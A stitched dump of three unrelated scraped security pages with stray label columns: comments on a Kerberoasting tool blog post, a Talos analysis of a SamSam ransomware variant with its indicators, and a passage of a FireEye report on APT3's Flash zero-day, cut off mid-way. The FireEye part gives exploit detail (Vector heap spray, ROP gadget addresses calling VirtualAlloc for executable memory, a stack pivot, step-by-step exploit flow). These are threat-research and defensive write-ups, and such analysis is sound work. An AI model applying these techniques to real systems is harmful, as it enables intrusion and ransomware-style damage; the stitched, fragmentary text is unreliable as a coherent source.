accounts with the wrong SPN/hash even though there was an error retrieving the information. So basically, it\xe2\x80\x99s outputting objects with incorrect data when it should output nothing for that identity because there was an error. For example in one instance the same SPN/hash is listed for 13 different accounts. Only the first of the 13 is correct. The other accounts have SPNs/hashes of their own, but obviously they are different. Seems like maybe you\xe2\x80\x99re reusing some variables from identity to identity where if an operation on an identity fails the script still outputs an object but it just contains the SPN/Hash of the last identity that succeeded. For the record the error it gives on the identities that don\xe2\x80\x99t work is below: New-Object : Exception calling \xe2\x80\x9c.ctor\xe2\x80\x9d with \xe2\x80\x9c1\xe2\x80\x9d argument(s): \xe2\x80\x9cThe NetworkCredentials provided were unable to create a Kerberos credential, see inner exception for details.\xe2\x80\x9d At C:\\tools\\Invoke-Kerberoast.ps1:555 char:23 + \xe2\x80\xa6 $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorS \xe2\x80\xa6 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [New-Object], MethodInvocationException + FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand Reply harmj0y November 5, 2016 Thanks for the heads up, will try to check into this over the next few days. Reply st3r30byt3 November 30, 2016 Hey Brad, I was having the same problem and found the solution. Created a pull request today (Empire) addressing the issue. Reply Thomas Hankers March 15, 2017 st3r30byt3, I\xe2\x80\x99m getting the same error above that Brad is getting, can you link to your fix? Reply Geoff Janjua November 9, 2016 Great work. I\xe2\x80\x99ve also done some work on Kerberos and found a couple of things that you might be interested in. One, that you can use also enumerate users by requesting an AS-REP and reading the error codes. Two, you can crack the AS-REPs that do not require pre-authentication in the same way as the TGS-REPs. Reply harmj0y December 13, 2016 Geoff, @tifkin_ and I stumbled on your work a few weeks ago and it\xe2\x80\x99s definitely interesting! Evidence of us paying attention ;) \xe2\x80\x93 https://github.com/PowerShellMafia/PowerSploit/blob/7c32bf69f334b7c15c644cdb41188bdfe1a0b0e8/Recon/PowerView.ps1#L4412-L4414 Feel free to DM me on Twitter or through email, would love to chat more. -Will Reply Detecting Kerberoasting Activity \xc2\xbb Active Directory Security February 8, 2017 [\xe2\x80\xa6] Note that Mimikatz is not required to extract the service ticket from memory: read Will\xe2\x80\x99s post \xe2\x80\x9cKerberoasting without Mimikatz\xe2\x80\x9d [\xe2\x80\xa6] Reply Detecting Kerberoasting Activity Part 2 \xe2\x80\x93 Creating a Kerberoast Service Account Honeypot \xc2\xbb Active Directory Security February 8, 2017 [\xe2\x80\xa6] Kerberoasting without Mimikatz (Harmj0y) [\xe2\x80\xa6] Reply Trimarc Research: Detecting Kerberoasting Activity \xe2\x80\x93 TRIMARC February 10, 2017 [\xe2\x80\xa6] Note that Mimikatz is not required to extract the service ticket from memory: read Will\xe2\x80\x99s post \xe2\x80\x9cKerberoasting without Mimikatz\xe2\x80\x9d [\xe2\x80\xa6] Reply Cracking Kerberos TGS Tickets Using Kerberoast \xe2\x80\x93 Exploiting Kerberos to Compromise the Active Directory Domain \xc2\xbb Active Directory Security April 2, 2017 [\xe2\x80\xa6] Update: Will @harmj0y Schroeder (blog.harmj0y.net) and I spoke at DerbyCon 6 in September, 2016 and demonstrated how Kerberoast works. The slides and video from our talk are now available. The other demos Will did during the talk are here. All of the slides and most videos of my talks are on the Presentations page. This article describes how Service Principal Names work and how to use Kerberoast to crack passwords offline. Will also posted on how to Kerberoast without using Mimikatz. [\xe2\x80\xa6] Reply A Toast to Kerberoast - Black Hills Information Security May 8, 2017 [\xe2\x80\xa6] http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ [\xe2\x80\xa6] Reply Jakob Heidelberg August 28, 2017 I still get the \xe2\x80\x9cThe NetworkCredentials provided were unable to create a Kerberos credentia\xe2\x80\x9d error \xe2\x80\x93 last two places I tested it. Was the issue ever fixed? And if so, in which release? Reply AJ July 15, 2018 Can the hash output from the command of Invoke-Kerberaost be used to create a silver ticket using Mimikatz ? Reply harmj0y July 15, 2018 Not directly, no. The output of Kerberoasting is part of the service ticket replay (TGS-REP) that can be cracked offline to recover an account plaintext, it is NOT the hash format that would be needed to create a silver ticket. Reply HackTheBox \xe2\x80\x9cActive\xe2\x80\x9d Write-Up \xe2\x80\x93 Hacking Anarchy February 20, 2019 [\xe2\x80\xa6] attack Vector here is Kerberos. The most famous privilege escalation exploit for Kerberos is \xe2\x80\x9cKerberoast\xe2\x80\x9c. It\xe2\x80\x99s a relatively safe way to get administrative privileges after you have valid user [\xe2\x80\xa6] Reply Threat Hunting for Dridex Attacks: Red Canary & Carbon Black March 15, 2019 [\xe2\x80\xa6] http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ [\xe2\x80\xa6] Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment Name* Email* Website Save my name, email, and website in this browser for the next time I comment. Notify me of follow-up comments by email. Notify me of new posts by email. This site uses Akismet to reduce spam. Learn how your comment data is processed. Cele Theme by Compete Themes.","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Talos Blog || Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks Software Vulnerability Information Vulnerability Information BACK Vulnerability Reports Microsoft Advisories Reputation Center Reputation Center BACK IP & Domain Reputation Talos File Reputation Reputation Support AMP Threat Naming Conventions IP Blacklist Download AWBO Exercises Categories Library Support Communities Support Communities BACK Snort Community ClamAV Community Reputation Center Support SpamCop Careers Blog About Monday, January 22, 2018 SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks This post was written by Vitor Ventura Introduction Talos has been working in conjunction with Cisco IR Services on what we believe to be a new variant of the SamSam ransomware. This ransomware has been observed across multiple industries including Government, Healthcare and ICS. These attacks do not appear to be highly targeted, and appear to be more opportunistic in nature. Given SamSam's victimology, its impacts are not just felt within the business world, they are also impacting people, especially if we consider the Healthcare sector. Non-urgent surgeries can always be rescheduled but if we take as an example patients where the medical history and former medical treatment are crucial the impact may be more severe. Furthermore, many critical life savings medical devices are now highly computerized. Ransomware can impact the operation of these devices making it very difficult for medical personnel to diagnose and treat patients leading to potentially life threatening situations. Equipment that might be needed in time-sensitive operations may be made unavailable due to the computer used to operate the equipment being unavailable. The initial infection vector for these ongoing attacks is currently unknown and Talos is investigating this in order to identify it. The history of SamSam indicates that attackers may follow their previous modus operandi of exploiting a host and then laterally moving within their target environment to plant and later run the SamSam ransomware. Previously, we observed the adversaries attacking vulnerable JBoss hosts during a previous wave of SamSam attacks in 2016. Although the infection vector for the new variant is not yet confirmed, there is a possibility that compromised RDP/VNC servers have played a part in allowing the attackers to obtain an initial foothold. There are no differences between the encryption mechanism used by this current SamSam variant compared to older versions. However, this time the adversaries have added some string obfuscation and improved the anti-analysis techniques used to make detection and analysis marginally more difficult. This new variant is deployed using a loader which decrypts and executes an encrypted ransomware payload, this loader/payload model represents an improvement in the anti-forensic methods used by the malware. Samples containing this loader mechanism have been found as far back as October 2017. The wallet used by SamSam for this wave is shared by multiple infected victims as observed by monitoring the wallet at 1MddNhqRCJe825ywjdbjbAQpstWBpKHmFR. We are also able to confirm the first payment into this wallet was received on 25th December 2017 - a nice holiday gift for this adversary. This can be confirmed by observing the first wallet transaction found on the Bitcoin blockchain here. There is a possibility that other Bitcoin wallets are also used but currently Talos is currently unaware of any others. Similar to the previous variants, we believe the deployment of this SamSam variant to be highly manual, meaning an adversary must take manual action in order to execute the malware. The symmetric encryption keys are randomly generated for each file. The Tor onion service and the Bitcoin wallet address are hardcoded into the payload whilst the public key is stored in an external file with the extension .keyxml. Additionally, code analysis didn't find any kind of automated mechanism for contacting the Tor Service address which means that the victim identification with the associated RSA private key must be done either manually or by another adversary tool. Ransom note displayed by SamSam new variant In most ransomware the attackers try to convince affected users that they have the ability to decrypt the data after the payment is made. SamSam is no different here and even displays a disclaimer as seen in the above screenshot, stating 'we don't want to damage our reliability' and 'we are honest'. To this end SamSam adversaries offer free decryption of two files and an additional free key to decrypt one server. Once again SamSam actors show their ability to monitor and laterally move through the network by pointing out they will only provide a key if they believe the server is not an important piece of infrastructure. As with previous versions of SamSam they are advising that messaging the attackers can be performed via their site. The ""Runner"" The adversary has changed their deployment methodology and now they use a loader mechanism called ""runner"" to execute the payload. Upon execution, the loader will search for files with the extension .stubbin in its execution directory, this file contains the SamSam encrypted .NET Assembly payload. Upon reading the file, the loader decrypts the payload with the password supplied as the first argument and executes it, passing the remaining arguments. The loader is a very simple .NET assembly with no obfuscation. Comparing both the Initialization Vector (IV) and the code structure it seems like it may have been derived from an example posted on the Codeproject.com website. As you can seen in the images below, the IV used for the Rijndael encryption is the same in both implementations (posted code in hexadecimal, reversed code in decimal due to decompiler implementation). Posted code Reversed code At the code level looking specifically at the function 'Decrypt', it is obvious that the code structure in the Codeproject source and the latest SamSam runner sample is the same (comments from the posted code were removed). Encryption routine source code comparison The Payload Previous versions of SamSam put some effort into the obfuscation of the malware code by encrypting strings with AES. The new version also obfuscates functions, class names and strings, including the list of targeted file extensions, the help file contents and environment variables, this time using DES encryption with a fixed hard-coded key and the IV. Once again, the adversary has put more effort into preventing the forensic recovery of the malware sample itself rather than only relying on the obfuscation the running malware code, which allowed us to reverse engineer this sample. As mentioned before, the password to decrypt the payload is passed as a parameter to the loader, which reduces the chances of obtaining the payload for analysis. Previous versions of SamSam had an equivalent method for making payload access difficult by launching a thread that would wait 1 second before deleting itself from the hard disk. The comparison of the main encryption routines between the old and the new samples indicates that this version of SamSam is similar enough to have high confidence that it belongs to the same malware family. Encryption Routine Comparison While previous SamSam versions used the API call DriveInfo.GetDrives() to obtain the list of available drives, this new version has the drive letters hardcoded. After checking that a drive is ready it starts a search for targeted files on the non-blacklisted folder paths. The new variant keeps the same list of targeted file extensions as some of the previous ones. It adds a few new entries to the list of paths not to encrypt, which includes user profiles ""All Users"", ""default"" and the boot directory. This is in tune with most ransomware which attempt to preserve the operability of the victim's machine. If the machine operation is so damaged that the system cannot be booted then the victim will be unable to pay, whereas if they keep the machine able to function, with limited access to files/folders, then they have a greater chance of a victim paying for recovering their important files and documents. Just like previous versions of SamSam the new version is especially careful to make sure that there is enough space on the current drive to create the encrypted document, thus avoiding any corruption that would lead to irrecoverable encryption. Unlike most ransomware, SamSam does not delete Volume Shadow Copies and creates an encrypted version of the original file which is then deleted using the regular Windows API. Although unlikely, due to block overwriting, recovery of the original files from the versions of affected folders saved by the operating system may be possible. Profitability In identifying the scope of this SamSam campaign, Talos analyzed the Bitcoin wallet addresses used by the attackers in each of these attacks. As of the time of this writing, the attackers have received approximately 30.4 BTC which equals $325,217.07. As previously mentioned, it is possible that the attackers are leveraging multiple bitcoin wallets, however Talos has not observed any other than the one listed here being used in these attacks. Recommendations As the specific initial threat vector is not known at this time, best practices should be implemented to minimize risk to organizations. Talos has outlined several best practices that should be considered in a previous blog related to defending against ransomware related threats. In accordance with best practices protocols like SMB or RDP should never be internet facing. IOCs SHA256s 0785bb93fdb219ea8cb1673de1166bea839da8ba6d7312284d2a08bd41e38cb9 338fdf3626aa4a48a5972f291aacf3d6172dd920fe16ac4da4dd6c5b999d2f13 3531bb1077c64840b9c95c45d382448abffa4f386ad88e125c96a38166832252 4856f898cd27fd2fed1ea33b4d463a6ae89a9ccee49b134ea8b5492cb447fb75 516fb821ee6c19cf2873e637c21be7603e7a39720c7d6d71a8c19d8d717a2495 72832db9b951663b8f322778440b8720ea95cde0349a1d26477edd95b3915479 754fab056e0319408227ad07670b77dde2414597ff5e154856ecae5e14415e1a 88d24b497cfeb47ec6719752f2af00c802c38e7d4b5d526311d552c6d5f4ad34 88e344977bf6451e15fe202d65471a5f75d22370050fe6ba4dfa2c2d0fae7828 8eabfa74d88e439cfca9ccabd0ee34422892d8e58331a63bea94a7c4140cf7ab 8f803b66f6c6bc4da9211a2c4c4c5b46a113201ecaf056d35cad325ec4054656 dabc0f171b55f4aff88f32871374bf09da83668e1db2d2c18b0cd58ed04f0707 e7bebd1b1419f42293732c70095f35c8310fa3afee55f1df68d4fe6bbee5397e BTC Wallet 1MddNhqRCJe825ywjdbjbAQpstWBpKHmFR Tor onion service jcmi5n4c3mvgtyt5.onion References: https://www.codeproject.com/kb/security/dotnetcrypto.aspx?msg=1790665 Detection Snort Rules: 45484-45486 AMP for Endpoints: Ensure the TETRA engine, \xe2\x80\x98Command Line Capture\xe2\x80\x99, \xe2\x80\x9cSystem Process Protection\xe2\x80\x9d are enabled, and client is v6.05+ Posted by Vitor Ventura at 12:29 PM Labels: healthcare, incident response, IR, Malware, ransomware, samsam Share This Post No comments: Post a Comment Newer Post Older Post Home Subscribe to: Post Comments (Atom) Subscribe To Our Feed Posts Comments Subscribe via Email Blog Archive \xe2\x96\xba\xc2 2019 (191) \xe2\x96\xba\xc2 September (18) \xe2\x96\xba\xc2 August (21) \xe2\x96\xba\xc2 July (23) \xe2\x96\xba\xc2 June (16) \xe2\x96\xba\xc2 May (25) \xe2\x96\xba\xc2 April (25) \xe2\x96\xba\xc2 March (24) \xe2\x96\xba\xc2 February (19) \xe2\x96\xba\xc2 January (20) \xe2\x96\xbc\xc2 2018 (198) \xe2\x96\xba\xc2 December (16) \xe2\x96\xba\xc2 November (15) \xe2\x96\xba\xc2 October (26) \xe2\x96\xba\xc2 September (16) \xe2\x96\xba\xc2 August (12) \xe2\x96\xba\xc2 July (20) \xe2\x96\xba\xc2 June (15) \xe2\x96\xba\xc2 May (15) \xe2\x96\xba\xc2 April (21) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (14) \xe2\x96\xbc\xc2 January (18) Ransom Where? Malicious Cryptocurrency Miners Take... 2017 in Snort Signatures. Beers with Talos EP 21: How to Hire the Best, Attr... Vulnerability Spotlight: Walt Disney Per-Face Text... SamSam - The Evolution Continues Netting Over $325... The Many Tentacles of the Necurs Botnet Beers with Talos EP20: Crypto, Vuln Disco, and the... Vulnerability Spotlight: Tinysvcmdns Multi-label D... Korea In The Crosshairs Threat Round Up for January 5 - 12 Vulnerability Spotlight: Multiple Unpatched Vulner... Vulnerability Spotlight: Ruby Rails Gem XSS Vulner... Microsoft Patch Tuesday - January 2018 Vulnerability Spotlight: Multiple Vulnerabilities ... Meltdown and Spectre Threat Round Up for December 29 - January 5 Not So Crystal Clear - Zeus Variant Spoils Ukraini... Tutorial: Mutiny Fuzzing Framework and Decept Prox... \xe2\x96\xba\xc2 2017 (171) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (11) \xe2\x96\xba\xc2 October (15) \xe2\x96\xba\xc2 September (17) \xe2\x96\xba\xc2 August (16) \xe2\x96\xba\xc2 July (14) \xe2\x96\xba\xc2 June (14) \xe2\x96\xba\xc2 May (19) \xe2\x96\xba\xc2 April (17) \xe2\x96\xba\xc2 March (17) \xe2\x96\xba\xc2 February (12) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2016 (98) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (8) \xe2\x96\xba\xc2 October (11) \xe2\x96\xba\xc2 September (8) \xe2\x96\xba\xc2 August (8) \xe2\x96\xba\xc2 July (9) \xe2\x96\xba\xc2 June (10) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (7) \xe2\x96\xba\xc2 February (6) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2015 (62) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (3) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (5) \xe2\x96\xba\xc2 July (4) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (3) \xe2\x96\xba\xc2 April (7) \xe2\x96\xba\xc2 March (8) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2014 (67) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (5) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (10) \xe2\x96\xba\xc2 August (4) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (4) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (4) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (8) \xe2\x96\xba\xc2 2013 (30) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (5) \xe2\x96\xba\xc2 September (2) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (1) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (5) \xe2\x96\xba\xc2 2012 (53) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (1) \xe2\x96\xba\xc2 October (2) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (7) \xe2\x96\xba\xc2 July (7) \xe2\x96\xba\xc2 June (4) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (5) \xe2\x96\xba\xc2 March (3) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2011 (23) \xe2\x96\xba\xc2 December (1) \xe2\x96\xba\xc2 November (4) \xe2\x96\xba\xc2 October (3) \xe2\x96\xba\xc2 September (1) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (2) \xe2\x96\xba\xc2 February (1) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2010 (93) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (4) \xe2\x96\xba\xc2 September (7) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (11) \xe2\x96\xba\xc2 June (12) \xe2\x96\xba\xc2 May (5) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2009 (146) \xe2\x96\xba\xc2 December (14) \xe2\x96\xba\xc2 November (10) \xe2\x96\xba\xc2 October (12) \xe2\x96\xba\xc2 September (13) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (19) \xe2\x96\xba\xc2 June (11) \xe2\x96\xba\xc2 May (13) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (11) \xe2\x96\xba\xc2 February (13) \xe2\x96\xba\xc2 January (11) \xe2\x96\xba\xc2 2008 (37) \xe2\x96\xba\xc2 December (12) \xe2\x96\xba\xc2 November (6) \xe2\x96\xba\xc2 October (7) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (3) \xe2\x96\xba\xc2 May (3) Recommended Blogs Cisco Blog Emotet is back after a summer break Snort Blog Snort OpenAppID Detectors have been updated ClamAV\xc2\xae blog ClamAV 0.102.0 Release Candidate is now available Software Reputation Center Vulnerability Information Microsoft Advisory Snort Rules IP Blacklist Download AMP Naming Conventions Talos File Reputation AWBO Exercises Library Support Communities About Careers Blog ThreatSource Newsletter Beers with Talos Podcast Connect With Us \xc2\xa9 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy here.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Operation Clandestine Wolf \xe2\x80\x93 Adobe Flash Zero-Day in APT3 Phishing Campaign | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research Operation Clandestine Wolf \xe2\x80\x93 Adobe Flash Zero-Day ... Threat Research Operation Clandestine Wolf \xe2\x80\x93 Adobe Flash Zero-Day in APT3 Phishing Campaign June 23, 2015 | by Erica Eng, Dan Caselden | Threat Intelligence 0day exploits Threat Intelligence In June, FireEye\xe2\x80\x99s FireEye as a Service team in Singapore uncovered a phishing campaign exploiting an Adobe Flash Player zero-day vulnerability (CVE-2015-3113). The attackers\xe2\x80\x99 emails included links to compromised web servers that served either benign content or a malicious Adobe Flash Player file that exploits CVE-2015-3113. Hear what our experts have to say. Join us for a live webinar Friday, June 26, 2015 8:00 am PDT/11:00 am EDT Register Now Adobe has already released a patch for CVE-2015-3113 with an out-of-band security bulletin (https://helpx.adobe.com/security/products/flash-player/apsb15-14.html). FireEye recommends that Adobe Flash Player users update to the latest version as soon as possible. FireEye MVX detects this threat as a web infection, the IPS engine reports the attack as CVE-2015-3113, and the SHOTPUT backdoor is reported as Backdoor.APT.CookieCutter. APT3 The China-based threat group FireEye tracks as APT3, aka UPS, is responsible for this exploit and the activity identified in our previous blog post, Operation Clandestine Fox. This group is one of the more sophisticated threat groups that FireEye Threat Intelligence tracks, and they have a history of introducing new browser-based zero-day exploits (e.g., Internet Explorer, Firefox, and Adobe Flash Player). After successfully exploiting a target host, this group will quickly dump credentials, move laterally to additional hosts, and install custom backdoors. APT3\xe2\x80\x99s command and control (CnC) infrastructure is difficult to track, as there is little overlap across campaigns. Activity Overview In the last several weeks, APT3 actors launched a large-scale phishing campaign against organizations in the following industries: Aerospace and Defense Construction and Engineering High Tech Telecommunications Transportation Upon clicking the URLs provided in the phishing emails, targets were redirected to a compromised server hosting JavaScript profiling scripts. Once a target host was profiled, victims downloaded a malicious Adobe Flash Player SWF file and an FLV file, detailed below. This ultimately resulted in a custom backdoor known as SHOTPUT, detected by FireEye as Backdoor.APT.CookieCutter, being delivered to the victim\xe2\x80\x99s system. The payload is obscured using xor encoding and appended to a valid GIF file.\xc2 Attack Vector The phishing emails used by APT3 during this campaign were extremely generic in nature, almost appearing to be spam. An example email body: Save between $200-450 by purchasing an Apple Certified Refurbished iMac through this link. Refurbished iMacs come with the same 1-year extendable warranty as new iMacs. Supplies are limited, but update frequently. Don't hesitate . . .>Go to Sale The string \xe2\x80\x9c>Go to Sale\xe2\x80\x9d was a link that used the following URL structure: hxxp://..//.html Exploit Details The attack exploits an unpatched vulnerability in the way Adobe Flash Player parses Flash Video (FLV) files. The exploit uses common vector corruption techniques to bypass Address Space Layout Randomization (ASLR), and uses Return-Oriented Programming (ROP) to bypass Data Execution Prevention (DEP).\xc2 A neat trick to their ROP technique makes it simpler to exploit and will evade some ROP detection techniques. Shellcode is stored in the packed Adobe Flash Player exploit file alongside a key used for its decryption. The payload is xor encoded and hidden inside an image. Exploit Packaging The Adobe Flash Player exploit is packed with a simple RC4 packer. The RC4 key and ciphertext are BinaryData blobs that the packer uses to decrypt the layer 2 Adobe Flash Player file. Once decrypted, layer 2 is executed with loader.loadBytes. Vector Corruption Layer 2 uses a classic Adobe Flash Player Vector corruption technique to develop its heap corruption vulnerability to a full relative read/write available to ActionScript3. In this technique, the attacker sprays Adobe Flash Player Vectors to the heap, and triggers a write vulnerability to change the size of one of the vectors. The attacker can then perform subsequent reads and writes to memory outside the intended boundaries of the corrupted Vector object from AS3. For more details on this technique, see Flash in 2015. Once the attacker has limited read/write access to memory, they choose to corrupt a second Vector to increase their access to a range of 0x3fffffff bytes. This second Vector is used for the remainder of the exploit. Return-Oriented Programming The attackers use a ROP chain to call kernel32!VirtualAlloc to mark their shellcode as executable before jumping to their shellcode. Instead of writing their ROP chain to the heap along with their shellcode and payload, they used a different technique. Usually, exploit developers will corrupt a built-in Adobe Flash Player object such as a Sound object. Instead, the attackers chose to define their own class in AS3 with a function that takes a lot of arguments: class CustomClass { \xc2 \xc2 \xc2 public function victimFunction(arg1:uint, arg2:uint, \xe2\x80\xa6, arg80:uint):uint } Then, the attackers can simply overwrite the function pointer with a gadget that adds to the stack pointer and returns to pivot to ROP. They have no need to identify the absolute address of the ROP chain and preserve it in a register for a typical xchg reg32, esp pivot. Additionally, storing the ROP chain on the stack will evade ROP detection mechanisms designed around detecting when the stack pointer points outside of a thread\xe2\x80\x99s stack region. this.customObj.victimFunction( 6f73b68b, // ret; (ROPsled) \xe2\x80\xa6, 6f73b68a, //pop eax 1f140100, 6fd36da1, //call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40) 1f140000, // Address 00010000, // Size 00001000, // Type 00000040, // Protection = RWX 6f73b68b*9 // ret (ROPsled) 6fd36da7*2 // ret 6f73aff0 pop ecx 6fd36da7 6fd36da7 jmp [eax] \xe2\x80\xa6 ) this.customObj.victimFunction pointer modified to: 00000000`6de533dc 5e\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 pop\xc2 \xc2 \xc2 \xc2 rsi 00000000`6de533dd 83c448\xc2 \xc2 \xc2 \xc2 \xc2 add\xc2 \xc2 \xc2 \xc2 esp,48h 00000000`6de533e0 c3\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ret Lastly, the ROP chain has a ROPsled following the call to VirtualAlloc. This could just be an artifact of development, or it could be designed to bypass detection mechanisms that test for valid return addresses up to a limited depth at calls to VirtualAlloc. Full Exploit Flow 1.\xc2 \xc2 \xc2 \xc2 Create a new Video object 2.\xc2 \xc2 \xc2 \xc2 Fetch the payload 3.\xc2 \xc2 \xc2 \xc2 Attach the video to a new NetStream 4.\xc2 \xc2 \xc2 \xc2 Spray the heap with Adobe Flash Player Vectors \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 Create a Vector containing 98688 Vectors containing 1022 uints \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 b.\xc2 \xc2 \xc2 \xc2 Set the first two dwords in each Vector to 0x41414141, 0x42424242 5.\xc2 \xc2 \xc2 \xc2 Create holes for the controlled FLV object \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 Free approximately every 3rd Vector in the spray 6.\xc2 \xc2 \xc2 \xc2 Spray custom class objects for future control transfer \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 Define a new class CustomClass \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 i.\xc2 \xc2 \xc2 \xc2 Define a function victimFunction with lots of arguments \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 b.\xc2 \xc2 \xc2 \xc2 Create a 